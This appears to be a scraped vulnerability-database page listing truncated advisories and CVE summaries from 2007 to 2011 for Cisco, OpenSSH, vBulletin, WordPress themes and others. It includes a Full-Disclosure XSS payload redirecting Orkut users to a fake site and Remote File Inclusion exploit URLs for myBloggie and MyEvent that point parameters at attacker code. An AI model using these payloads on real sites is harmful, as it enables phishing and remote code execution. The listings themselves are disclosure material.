[Full-disclosure] 0day Orkut XSS [ NEW! ]

Greetings! Doing hard searches and working hard seeking for xss holes we finally found! The new hole is in the description of the pic, you can put html encode chars like this. & l t ; meta http-equiv="refresh" content="0;url=http://suafakeaqui" & g t ; means minus or open tag. means more or close...

Solaris 9 (sparc) : 126105-42

Sun Cluster 3.2: CORE patch for Solaris 9. Date this patch was last updated by Sun : Apr/27/10 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text in this plugin was extracted from the Oracle SunOS Patch Updates. include'deprecatednasllevel.inc'; include'compat.inc'; if...

Solaris 9 (sparc) : 125437-22

Oracle iPlanet Web Server 7.0.12 Solaris: Update Release patch. Date this patch was last updated by Sun : Aug/19/11 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text in this plugin was extracted from the Oracle SunOS Patch Updates. include'deprecatednasllevel.inc';...

Sql injection

SQL injection vulnerability in index.php in the Ktauber.com StylesDemo mod for phpBB 2.0.xx allows remote attackers to execute arbitrary SQL commands via the s parameter...

CVE-2007-4789

Cisco Content Switching Modules CSM 4.2 before 4.2.7, and Cisco Content Switching Module with SSL CSM-S 2.1 before 2.1.6, when service termination is enabled, allow remote attackers to cause a denial of service reboot via unspecified vectors related to high network utilization, aka CSCsh57876...

Design/Logic Flaw

Cisco Content Switching Modules CSM 4.2 before 4.2.7, and Cisco Content Switching Module with SSL CSM-S 2.1 before 2.1.6, when service termination is enabled, allow remote attackers to cause a denial of service reboot via unspecified vectors related to high network utilization, aka CSCsh57876...

Code injection

Cisco Content Switching Modules CSM 4.2 before 4.2.3a, and Cisco Content Switching Module with SSL CSM-S 2.1 before 2.1.2a, allow remote attackers to cause a denial of service CPU consumption or reboot via sets of out-of-order TCP packets with unspecified characteristics, aka CSCsd27478...

CVE-2007-4789

CVE-2007-4789 affects Cisco Content Switching Modules (CSM) 4.2 prior to 4.2.7 and Cisco Content Switching Module with SSL (CSM-S) 2.1 prior to 2.1.6. When service termination is enabled, remote attackers can cause a denial of service (reboot) through vectors related to high network utilization. ...

CVE-2007-4788

CVE-2007-4788 affects Cisco Content Switching Modules (CSM) 4.2 prior to 4.2.3a and Cisco Content Switching Module with SSL (CSM-S) 2.1 prior to 2.1.2a. The vulnerability allows remote attackers to cause a denial of service through sets of out-of-order TCP packets with unspecified characteristics...

PT-2007-5634 · Vbulletin Solutions · Vbulletin

Name of the Vulnerable Software and Affected Versions: vBulletin version 3.6.8 Description: The issue concerns multiple cross-site scripting XSS vulnerabilities. These vulnerabilities allow remote attackers to inject arbitrary web code or HTML via specific parameters to various PHP files, includi...

CVE-2007-4165

Cross-site scripting XSS vulnerability in index.php in the Blue Memories theme 1.5 for WordPress allows remote attackers to inject arbitrary web script or HTML via the s parameter, possibly a related issue to CVE-2007-2757 and CVE-2007-4014. NOTE: the provenance of this information is unknown; th...

PT-2007-5361 · Xuyiyang · Blue Memories Theme

Cross-site scripting XSS vulnerability in index.php in the Blue Memories theme 1.5 for WordPress allows remote attackers to inject arbitrary web script or HTML via the s parameter, possibly a related issue to CVE-2007-2757 and CVE-2007-4014. NOTE: the provenance of this information is unknown; th...

MS07-040: Vulnerabilities in .NET Framework Could Allow Remote Code Execution (931212)

The remote host is running a version of the ASP.NET framework that contains multiple vulnerabilities : - A PE Loader vulnerability could allow an attacker to execute arbitrary code with the privileges of the logged-on user. - An ASP.NET NULL byte termination vulnerability could allow an attacker ...

[SECURITY] [DSA 1317-1] New tinymux packages fix buffer overflow

------------------------------------------------------------------------ Debian Security Advisory DSA 1317-1 [email protected] http://www.debian.org/security/ Steve Kemp June 23, 2007 - ------------------------------------------------------------------------ Package : tinymux Vulnerability :...

CVE-2007-3276

CVE-2007-3276 describes a Cross-site Scripting (XSS) vulnerability in Site@School (S@S) 2.4.10, specifically in index.php where the q parameter can be exploited to inject arbitrary script or HTML. The vulnerability is exploitable by remote attackers via the web and is associated with a CVSS v2 ba...

mybloggie-rfi.txt

myBloggie 2.1.5 RFI Author: Yaser Homepage: http://www.ayyildiz.org Download S : http://mywebland.com/download.php?id=19 Exploits: http://site/config.php?bloggierootpath=evilcode? http://site/includes/db.php?bloggierootpath=evilcode? http://site/includes/template.php?bloggierootpath=evilcode?...

MyEvent1.6 (template.php) Remote File Inclusion Vulnerability

MyEvent1.6 template.php Remote File Inclusion Vulnerability Author: Yaser [email protected] Homepage: http://www.ayyildiz.org Download S : http://mywebland.com/download.php?id=6 ERROR: includeonce$myeventpath.'includes/template.php' Exploit: http://site/PaTh/includes/template.php?myeventpath=she...

Improper Authentication

Overview Affected versions of this package are vulnerable to Improper Authentication. OpenSSH 4.6 and earlier, when ChallengeResponseAuthentication is enabled, allows remote attackers to determine the existence of user accounts by attempting to authenticate via S/KEY, which displays a different...

CVE-2007-2243

OpenSSH 4.6 and earlier, when ChallengeResponseAuthentication is enabled, allows remote attackers to determine the existence of user accounts by attempting to authenticate via S/KEY, which displays a different response if the user account exists, a similar issue to CVE-2001-1483...

CVE-2007-2243

OpenSSH 4.6 and earlier, when ChallengeResponseAuthentication is enabled, allows remote attackers to determine the existence of user accounts by attempting to authenticate via S/KEY, which displays a different response if the user account exists, a similar issue to CVE-2001-1483...